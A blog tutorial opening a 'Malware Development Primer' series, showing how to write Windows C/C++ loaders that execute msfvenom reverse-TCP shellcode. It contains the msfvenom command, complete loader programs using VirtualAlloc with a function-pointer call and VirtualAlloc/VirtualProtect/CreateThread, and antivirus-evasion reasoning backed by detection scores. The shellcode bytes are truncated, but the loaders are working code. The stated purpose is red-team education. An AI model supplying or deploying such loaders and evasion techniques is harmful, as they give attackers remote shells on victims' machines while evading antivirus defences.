Malware Development Primer 1- Shellcode Execution
Disclaimer
The posts in Malware Development Primer series are intended for educational and red/blue teaming purposes only. The author does not condone infecting systems without the consent of the system owner. The author should not be held responsible for any misuse of this content. Act responsibly!
Introduction
The word “malware” always sets off alarms, and rightly so for all the havoc it can cause. The art in malware development lies in creative evasion. Developing undetectable malware is an essential skill for red teamers as open source offensive tools are easily caught by the most naïve antivirus software. Red teams need to keep up with maturing defenders and blue teams, vice versa. In this series, I intend to document my learnings on developing malware and bypassing latest defenses.
In this post, I will introduce malware development in C/C++ by creating a PE .exe file that executes shellcode to pop a reverse shell.
Lab Setup
The following tools will be used during this series:
- Windows 10/11 VM to develop and test malware (I use Commando VM).
- msfvenom to generate shellcode.
- Dev C++, Notepad++ for code development.
- x64Debug for debugging.
- PEbear.
Windows security features such as real-time protection, automatic sample submission, and tamper protection are turned off.
Windows Shellcode Execution
Payload vs Shellcode
Although a shellcode can be any program, it’s original purpose was to return a shell. A shellcode can contain payload.
Payloads are injected after compilation where the source code is already translated into machine code. Therefore, during the runtime, the payload needs to be needs to be in machine code. Generally, we use hexadecimal formatted opcodes (instructions) as they are convenient. They are later decoded.
Payload and shellcode are interchangeably used as both can be used to spawn a shell but are not limited to that.
Generating Shellcode
Metasploit’s msfvenom can be used to generate the shellcode. The command below generates a shellcode to be used in C for a reverse TCP shell and removes bad characters.
msfvenom --platform windows --arch x64 -p windows/x64/shell_reverse_tcp LHOST=ens33 LPORT=443 -f c
Skeleton Code
In order to execute the payload:
- Allocate a memory for the payload. VirtualAlloc() does this by reserving a region of pages of size of the payload. In the example below, we set the memory protection to read, write, and execute so that the memory reserved is executable. VirtualAlloc() returns the base address of the allocated region. We store it in the exec pointer since pointer to an allocated buffer address is the contents of it.
- Copy the contents of the payload into the memory space allocated. memcpy() is used to copy the contents of payload into the memory.
- Execute the payload. But how?
#include<stdio.h> #include<windows.h> // msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f c -b '\x00\x0a\x0d\x20' unsigned char buf[] = "x48\x81\..."; int main(){ //Allocate memory for payload void *exec = VirtualAlloc( 0, //System selects address sizeof buf, // Allocates buf size MEM_COMMIT, // Allocate commited memory PAGE_EXECUTE_READWRITE // Protection =R,W,X ); //Copy payload to the memory allocated memcpy(exec, buf, sizeof buf); // Execute the payload! return 0; }
Execution by Calling Function Pointer
In the code below, we declare an “unsigned char buf” globally, that contains the payload. We allocate an executable memory space for the payload by using VirtualAlloc(), which returns the base address that is stored in the pointer variable exec. Next, we copy the payload from the char array to the memory allocated. Finally, we need to execute this payload stored in the memory allocated. But how?
((void(*)())exec)() is the vanilla method to execute shellcode. Here, we are casting exec to a pointer to a function that takes zero arguments and has return type of void, and finally call it. To execute the shellcode in memory at address “exec”, we need to trigger instruction pointer (EIP) to point to that address.
#include<stdio.h> #include<windows.h> // msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f c -b '\x00\x0a\x0d\x20' unsigned char buf[] = "x48\x81\..."; int main(){ void *exec = VirtualAlloc( 0, //System selects address sizeof buf, // Allocates buf size MEM_COMMIT, // Allocate commited memory PAGE_EXECUTE_READWRITE // Protection =R,W,X ); memcpy(exec, buf, sizeof buf); //Execute payload by calling function pointer to the memory address containing the payload ((void(*)())exec)(); return 0; }
Let’s break down ((void(*)())exec)()
- To define a pointer to a function, we declare it as “return_datatype (*func)(arg_datatype);” For example, a function with name as evil, return type as void, taking an argument of integer type.
void (*evil)(int)
- void(*)() is a pointer to a function where return type is void, with no function name (*), taking no arguments ().
- (void(*)())exec typecasts exec as void(*)() type.
- ((void(*)())exec)() finally calls function and executes the payload.
This one liner can be expanded in code as:
typedef void (*func_ptr)(); func_ptr func = (func_ptr)exec; // exec contains address func(); // Execute code in memory
Note: Pointer to function declarations can be complex to read. Refer to right-left rule in C.
I’m using Dev C++ to code and compile. Once compiled, an exe file will be the generated malware.
A netcat listener on the Kali machine will catch the reverse shell once the malware executes.
Let’s scan the exe file with antiscan.me as they don’t distribute the malware to antivirus, unlike virustotal.com.
12/26 Antivirus detected it. Not a bad result for a simple malware, right?
Execution via CreateThread()
A common method of executing shellcode stored in memory is to create a thread that points to the base address of the executable memory space containing the payload. CreateThread() is a Windows API function whose function is to create a new thread within the calling process and execute. While calling CreateThread() function, we pass the “lpStartAddress” parameter which is a pointer to the memory address to be executed.
Breakdown of the code below:
- Allocate memory using VirtualAlloc(). We set the memory protection to read/write only unlike the previous example where we set the allocated memory as executable.
- Copy the payload to the allocated memory using RtlMoveMemory() which is a wrapper around memcpy(). The wdm.h header file defines it as:
#define RtlMoveMemory(Destination,Source,Length) memmove((Destination),(Source),(Length)) #define RtlCopyMemory(Destination,Source,Length) memcpy((Destination),(Source),(Length))
- Change the protection of allocated memory from Read/Write to Execute using VirtualProtect(). It returns a Boolean value. If it succeeded in changing the memory protection, it returns 1. The reason for not delegating execute protection in VirtualAlloc() is that antivirus software detect this behavior suspicious since it is quite unusual to allocate a memory as executable while reserving it using VirtualAlloc().
- If the change in protection to executable is successful, a new thread is created using CreateThread().
- Finally, the WaitForSingleObject() function checks the state of the thread and ensures that it executes properly. -1 is the wait time which is equivalent to infinite.
Note that we are declaring the payload locally inside the main function.
#include <windows.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main(void) { void * exec_mem; BOOL rv; HANDLE th; DWORD oldprotect = 0; // Declaring payload variable in main() gets stored in Stack. // msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f c unsigned char payload[] = "x48\x81\..."; unsigned int payload_len = sizeof payload; exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); RtlMoveMemory(exec_mem, payload, payload_len); // Wrapper around memcpy rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect); if ( rv != 0 ){ th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0); WaitForSingleObject(th, -1); } return 0; }
When I compile and run the code, I get a reverse shell on my attacker machine.
I scanned the malware with antiscan.me and it outputs that 15/26 antivirus detected it. Three more detections than the previous method. My guess for the reason would be that more number of system calls such as RtmMoveMemory(), VirtualProtect(), and CreateThread() compared to just VirtualAlloc() in the previous program.
PS: Brownie points to me for plugging in “havoc”.